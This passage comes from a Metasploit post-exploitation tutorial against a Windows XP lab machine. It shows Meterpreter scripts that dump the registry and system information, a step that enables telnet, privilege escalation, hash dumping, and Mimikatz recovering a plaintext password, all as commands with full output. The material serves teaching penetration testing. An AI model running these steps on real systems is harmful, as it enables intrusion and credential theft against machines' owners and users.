Comando concluido com exito.

C:\WINDOWS\system32>exit

meterpreter > run scraper

[*] New session on 192.168.1.109:445...
[*] Gathering basic system information...
[*] Dumping password hashes...
[*] Obtaining the entire registry...
[*]  Exporting HKCU
[*]  Downloading HKCU (C:\WINDOWS\TEMP\TknyDuWG.reg)
[*]  Cleaning HKCU
[*]  Exporting HKLM
[*]  Downloading HKLM (C:\WINDOWS\TEMP\AvYEqGBG.reg)
[*]  Cleaning HKLM
[*]  Exporting HKCC
[*]  Downloading HKCC (C:\WINDOWS\TEMP\msNPFTRT.reg)
[*]  Cleaning HKCC
[*]  Exporting HKCR
[*]  Downloading HKCR (C:\WINDOWS\TEMP\knPrpGiF.reg)
[*]  Cleaning HKCR
[*]  Exporting HKU
[*]  Downloading HKU (C:\WINDOWS\TEMP\YYxYFKpY.reg)
[*]  Cleaning HKU
[*] Completed processing on 192.168.1.109:445...

meterpreter >
```

Using another terminal, execute :

```
root@hacker:~# cd .msf4/
root@hacker:~/.msf4# ls
history  local  logs  loot  modules  plugins

root@hacker:~/.msf4# cd logs
root@hacker:~/.msf4/logs# ls
framework.log  scripts  sessions

root@hacker:~/.msf4/logs# cd scripts/
root@hacker:~/.msf4/logs/scripts# ls
scraper

root@hacker:~/.msf4/logs/scripts# cd scraper/
root@hacker:~/.msf4/logs/scripts/scraper# ls
192.168.1.109_20140912.205839820

root@hacker:~/.msf4/logs/scripts/scraper# cd
192.168.1.109_20140912.205839820/

root@hacker:~/.msf4/logs/scripts/scraper/192.168.1.109_20140912.205839820#
ls
env.txt     HKCC.reg  HKLM.reg        nethood.txt   shares.txt
users.txt
group.txt   HKCR.reg  HKU.reg         network.txt   systeminfo.txt
hashes.txt  HKCU.reg  localgroup.txt  services.txt  system.txt

root@hacker:~/.msf4/logs/scripts/scraper/192.168.1.109_20140912.205839820#
more users.txt

Contas de usuario para \\
----------------------------------------------------------------------------
-----
Administrador            alexandre                CEH
Convidado                HelpAssistant            SUPPORT_388945a0
O comando foi concluido com um ou mais erros.

root@hacker:~/.msf4/logs/scripts/scraper/192.168.1.109_20140912.205839820#
more users.txt

Contas de usuario para \\

----------------------------------------------------------------------------
-----
Administrador            alexandre                CEH
Convidado                HelpAssistant            SUPPORT_388945a0
O comando foi concluido com um ou mais erros.
```

To check if the target is running in a virtual machine and to enable the **telnet service** of the target host, execute:

```
meterpreter > run checkvm

[*] Checking if target is a Virtual Machine .....
[*] This is a VMware Virtual Machine

meterpreter > run gettelnet –e

[*] Windows Telnet Server Enabler Meterpreter Script
[*] Setting Telnet Server Services service startup mode
[*]    The Telnet Server Services service is not set to auto, changing it
to auto ...
[*]    Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc
/root/.msf4/logs/scripts/gettelnet/clean_up__20140912.3802.rc


meterpreter > run winenum

[*] Running Windows Local Enumeration Meterpreter Script
[*] New session on 192.168.1.109:445...
[*] Saving general report to
/root/.msf4/logs/scripts/winenum/XP_20140912.4309/XP_20140912.4309.txt
[*] Output of each individual command is saved to
/root/.msf4/logs/scripts/winenum/XP_20140912.4309
[*] Checking if XP is a Virtual Machine ........
[*]    This is a VMware virtual Machine
[*]    UAC is Disabled
[*] Running Command List ...
[*]    running command ipconfig /all
[*]    running command arp -a
[*]    running command cmd.exe /c set
[*]    running command net accounts
[*]    running command netstat -ns
[*]    running command netstat -vb
[*]    running command netstat -nao
[*]    running command net view
[*]    running command ipconfig /displaydns
[*]    running command route print
[*]    running command net group administrators
[*]    running command net view /domain
[*]    running command net localgroup administrators
[*]    running command netsh firewall show config
[*]    running command tasklist /svc
[*]    running command net localgroup
[*]    running command net user
[*]    running command net share
[*]    running command net group
[*]    running command net session
[*]    running command gpresult /SCOPE USER /Z
[*]    running command gpresult /SCOPE COMPUTER /Z
[*] Running WMIC Commands ....
[*]    running command wmic netlogin get name,lastlogon,badpasswordcount
[*]    running command wmic netclient list brief
[*]    running command wmic netuse get
name,username,connectiontype,localname
[*]    running command wmic share get name,path
[*]    running command wmic nteventlog get path,filename,writeable
[*]    running command wmic logicaldisk get
description,filesystem,name,size
[*]    running command wmic volume list brief
[*]    running command wmic service list brief
[*]    running command wmic group list
[*]    running command wmic useraccount list
[*]    running command wmic qfe
[*]    running command wmic product get name,version
[*]    running command wmic rdtoggle list
[*]    running command wmic startup list full
[*] Extracting software list from registry
[*] Dumping password hashes...
[*] Hashes Dumped
[*] Getting Tokens...
[*] All tokens have been processed
[*] Done!
meterpreter >
```

Once more, go to another terminal and execute the following commands:

```
root@hacker:~# pwd
/root

root@hacker:~# cd .msf4/
root@hacker:~/.msf4# cd logs/

root@hacker:~/.msf4/logs# ls
framework.log  scripts  sessions

root@hacker:~/.msf4/logs# cd scripts/

root@hacker:~/.msf4/logs/scripts# ls
gettelnet  scraper  winenum

root@hacker:~/.msf4/logs/scripts# cd winenum/
root@hacker:~/.msf4/logs/scripts/winenum# ls
XP_20140912.4309

root@hacker:~/.msf4/logs/scripts/winenum# cd XP_20140912.4309/
root@hacker:~/.msf4/logs/scripts/winenum/XP_20140912.4309# ls

arp__a.txt                         net_share.txt
cmd_exe__c_set.txt                 netsh_firewall_show_config.txt
gpresult__SCOPE_COMPUTER__Z.txt    netstat__nao.txt
gpresult__SCOPE_USER__Z.txt        netstat__ns.txt
hashdump.txt                       netstat__vb.txt
ipconfig__all.txt                  net_user.txt
ipconfig__displaydns.txt           net_view__domain.txt
net_accounts.txt                   net_view.txt
net_group_administrators.txt       programs_list.csv
net_group.txt                      route_print.txt
net_localgroup_administrators.txt  tasklist__svc.txt
net_localgroup.txt                 tokens.txt
net_session.txt                    XP_20140912.4309.txt

root@hacker:~/.msf4/logs/scripts/winenum/XP_20140912.4309# more
hashdump.txt

Administrador:500:ce3c707f93b236594a15db05d307b01b:94292cab4a7e878152dbbef
a117d84c7:::
```

```
alexandre:1004:ce3c707f93b236594a15db05d307b01b:94292cab4a7e878152dbbefa11
7d84c7:::
CEH:1003:5eb5189e157fcab3758395e620f64487:74dcce84b58dba527b2657ef8be5d06d
:::
Convidado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
089c0:::
HelpAssistant:1000:927b7c2d3f5d442a6366a16cb487c170:921c2386085d02fd510938
bbbf4808a1:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:87f246b55d4c4342404
3206674b66d8e
:::

root@hacker:~/.msf4/logs/scripts/winenum/XP_20140912.4309# more
tasklist__svc.txt


Nome da imagem            Identi Servicos
========================= ======
=============================================
System Idle Process            0 N/A
System                         4 N/A
smss.exe                     540 N/A
csrss.exe                    604 N/A
winlogon.exe                 628 N/A
services.exe                 680 Eventlog, PlugPlay
lsass.exe                    692 NtLmSsp, PolicyAgent, ProtectedStorage,
SamSs
vmacthlp.exe                 848 VMware Physical Disk Helper Service
svchost.exe                  888 RpcSs
svchost.exe                  988 AudioSrv, Browser, CryptSvc, Dhcp,
dmserver,
                                 ERSvc, EventSystem,
                                 FastUserSwitchingCompatibility, helpsvc,
                                 lanmanserver, lanmanworkstation,
Messenger,
                                 Netman, Nla, Schedule, seclogon, SENS,
                                 ShellHWDetection, srservice, TermService,
                                 Themes, TrkWks, uploadmgr, W32Time,
winmgmt,
                                 WmdmPmSp, wuauserv, WZCSVC
svchost.exe                 1108 Dnscache
svchost.exe                 1124 LmHosts, RemoteRegistry, SSDPSRV,
WebClient
spoolsv.exe                 1352 Spooler
vmtoolsd.exe                1520 VMTools
explorer.exe                1412 N/A
vmtoolsd.exe                1860 N/A
ctfmon.exe                  1868 N/A
msmsgs.exe                  1876 N/A
cmd.exe                     1984 N/A
wuauclt.exe                 1888 N/A
logon.scr                    568 N/A
tlntsvr.exe                  964 TlntSvr
netsh.exe                    396 N/A
tasklist.exe                 772 N/A
wmiprvse.exe                1172 N/A
```

I guess that reader already understood the idea. ☺

Returning to Metasploit terminal, run commands as shown below:

```
meterpreter > background
[*] Backgrounding session 1...

msf exploit(ms08_067_netapi) > sessions -l

Active sessions
===============
  Id  Type                   Information                  Connection
  --  ----                   -----------                  ----------
  1   meterpreter x86/win32  AUTORIDADE NT\SYSTEM @ XP  192.168.1.110:4444
-> 192.168.1.109:1154 (192.168.1.109)

msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
```

To prevent users on target machine to close our session, by finishing the vulnerable application or process, migrate the session to a more resilient process such as explorer.exe as show below:

```
meterpreter > migrate 1444
[*] Migrating from 988 to 1444...
[*] Migration completed successfully.

meterpreter > getpid
Current pid: 1444

meterpreter > getuid
Server username: XP\CEH

meterpreter > getsystem
...got system (via technique 1).

meterpreter > getuid
Server username: AUTORIDADE NT\SYSTEM

meterpreter > ls c:\

Listing: c:\
============

Mode              Size        Type  Last modified              Name
----              ----        ----  -------------              ----
100777/rwxrwxrwx  0           fil   2012-07-01 00:07:56 -0400
AUTOEXEC.BAT
40555/r-xr-xr-x   0           dir   2014-08-19 12:07:19 -0400  Arquivos de
programas
100444/r--r--r--  4952        fil   2001-10-28 13:06:10 -0500
Bootfont.bin
100666/rw-rw-rw-  0           fil   2012-07-01 00:07:56 -0400  CONFIG.SYS
40777/rwxrwxrwx   0           dir   2014-08-19 12:10:00 -0400  Config.Msi
40777/rwxrwxrwx   0           dir   2012-07-01 00:37:51 -0400  Documents
and Settings
100444/r--r--r--  0           fil   2012-07-01 00:07:56 -0400  IO.SYS
100444/r--r--r--  0           fil   2012-07-01 00:07:56 -0400  MSDOS.SYS
100555/r-xr-xr-x  45124       fil   2001-10-28 13:07:10 -0500
NTDETECT.COM
40777/rwxrwxrwx   0           dir   2012-07-01 00:34:56 -0400  System
Volume Information
40777/rwxrwxrwx   0           dir   2014-08-19 14:08:33 -0400  WINDOWS
100666/rw-rw-rw-  194         fil   2012-07-01 00:00:48 -0400  boot.ini
100444/r--r--r--  223504      fil   2001-10-28 13:07:10 -0500  ntldr
100666/rw-rw-rw-  1610612736  fil   2014-09-12 01:14:06 -0400
pagefile.sys
```

To get the hash dumps from the target host, execute:

```
meterpreter > hashdump

Administrador:500:ce3c707f93b236594a15db05d307b01b:94292cab4a7e878152dbbef
a117d84c7:::
CEH:1003:5eb5189e157fcab3758395e620f64487:74dcce84b58dba527b2657ef8be5d06d
:::
Convidado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
089c0:::
```

```
HelpAssistant:1000:927b7c2d3f5d442a6366a16cb487c170:921c2386085d02fd510938
bbbf4808a1:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:87f246b55d4c4342404
3206674b66d8e:::
```

Here it would be to use a password-cracking tool such as L0pht to find the login passwords. Nevertheless, we have Mimikatz and its module can be loaded by running:

```
meterpreter > load mimikatz
Loading extension mimikatz...success.
```

To find out all available modules, it is recommend to try to use a fake module (alexandre) as shown below:

```
meterpreter > mimikatz_command -f alexandre::
Module : 'alexandre' introuvable

Modules disponibles :
             - Standard
      crypto - Cryptographie et certificats
        hash - Hash
      system - Gestion syst�me
     process - Manipulation des processus
      thread - Manipulation des threads
     service - Manipulation des services
   privilege - Manipulation des privil�ges
      handle - Manipulation des handles
 impersonate - Manipulation tokens d'acc�s
     winmine - Manipulation du d�mineur
 minesweeper - Manipulation du d�mineur 7
       nogpo - Anti-gpo et patchs divers
     samdump - Dump de SAM
      inject - Injecteur de librairies
          ts - Terminal Server
      divers - Fonctions diverses n'ayant pas encore assez de corps pour
avoir leurs propres module
    sekurlsa - Dump des sessions courantes par providers LSASS
         efs - Manipulations EFS
```

Next commands are self explainatory as shown below:

```
meterpreter > mimikatz_command -f hash::lm
LM('') = aad3b435b51404eeaad3b435b51404ee

meterpreter > mimikatz_command -f hash::ntlm
NTLM('') = 31d6cfe0d16ae931b73c59d7e0c089c0

meterpreter > mimikatz_command -f system::user
Utilisateur : CEH\XP$

meterpreter > mimikatz_command -f system::computer
Ordinateur : xp

meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : xp
BootKey    : f044604c587e485d9f710b75277c49c5

Rid  : 500
User : Administrador
LM   : ce3c707f93b236594a15db05d307b01b
NTLM : 94292cab4a7e878152dbbefa117d84c7

Rid  : 501
User : Convidado
LM   :
```

```
NTLM :

Rid  : 1000
User : HelpAssistant
LM   : 927b7c2d3f5d442a6366a16cb487c170
NTLM : 921c2386085d02fd510938bbbf4808a1

Rid  : 1002
User : SUPPORT_388945a0
LM   :
NTLM : 87f246b55d4c43424043206674b66d8e

Rid  : 1003
User : CEH
LM   : 5eb5189e157fcab3758395e620f64487
NTLM : 74dcce84b58dba527b2657ef8be5d06d

meterpreter > mimikatz_command -f sekurlsa::msv

"0;252999","NTLM","CEH","XP","lm{ 5eb5189e157fcab3758395e620f64487 },
ntlm{ 74dcce84b58dba527b2657ef8be5d06d }"
"0;129564","NTLM","CEH","XP","lm{ 5eb5189e157fcab3758395e620f64487 },
ntlm{ 74dcce84b58dba527b2657ef8be5d06d }"
"0;997","Negotiate","LOCAL SERVICE","AUTORIDADE NT","n.s. (Credentials
KO)"
"0;996","Negotiate","NETWORK SERVICE","AUTORIDADE NT","lm{
aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0
}"
"0;49420","NTLM","","","n.s. (Credentials KO)"
"0;999","NTLM","XP$","CEH","n.s. (Credentials KO)"

meterpreter > mimikatz_command -f process::list
PID    PPID   #Ths   pri    image
    0      0      1      0  [System Process]
    4      0     52      8  System
  540      4      3     11  smss.exe
  604    540     11     13  csrss.exe
  628    540     22     13  winlogon.exe
  680    628     18      9  services.exe
  692    628     24      9  lsass.exe
  848    680      1      8  vmacthlp.exe
  888    680      9      8  svchost.exe
  988    680     74      8  svchost.exe
 1108    680      5      8  svchost.exe
 1124    680     13      8  svchost.exe
 1352    680     13      8  spoolsv.exe
 1520    680      8     13  vmtoolsd.exe
 1412   1292     13      8  explorer.exe
 1860   1412      3      8  vmtoolsd.exe
 1868   1412      1      8  ctfmon.exe
 1876   1412      5      8  msmsgs.exe
 1984   1412      1      8  cmd.exe
 1888    988      7      8  wuauclt.exe

meterpreter > mimikatz_command -f service::list

      KERNEL_DRIVER STOPPED       Abiosdsk      Abiosdsk
      KERNEL_DRIVER STOPPED       abp480n5      abp480n5
      KERNEL_DRIVER RUNNING       ACPI   Microsoft ACPI Driver
      KERNEL_DRIVER STOPPED       ACPIEC ACPIEC
      KERNEL_DRIVER STOPPED       adpu160m      adpu160m
      KERNEL_DRIVER STOPPED       aec    Microsoft Kernel Acoustic Echo
Canceller
      KERNEL_DRIVER RUNNING       AFD    Ambiente de suporte a redes AFD
      KERNEL_DRIVER RUNNING       agp440 Filtro de barramento Intel AGP
      KERNEL_DRIVER STOPPED       Aha154x       Aha154x
      KERNEL_DRIVER STOPPED       aic78u2       aic78u2
      KERNEL_DRIVER STOPPED       aic78xx       aic78xx
      WIN32_SHARE_PROCESS STOPPED       Alerter       Alerta
      WIN32_OWN_PROCESS   STOPPED       ALG    Servi�o 'Gateway de camada
de aplicativo'
```

```
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { CEH ; XP ; secure2014! }
[1] { CEH ; XP ; secure2014! }
[2] { CEH ; XP ; secure2014! }
[3] { CEH ; XP ; secure2014! }

meterpreter >
```

That is perfect! Mimikatz is a nice toot to collect very interesting information from our target!

Alexandre Borges.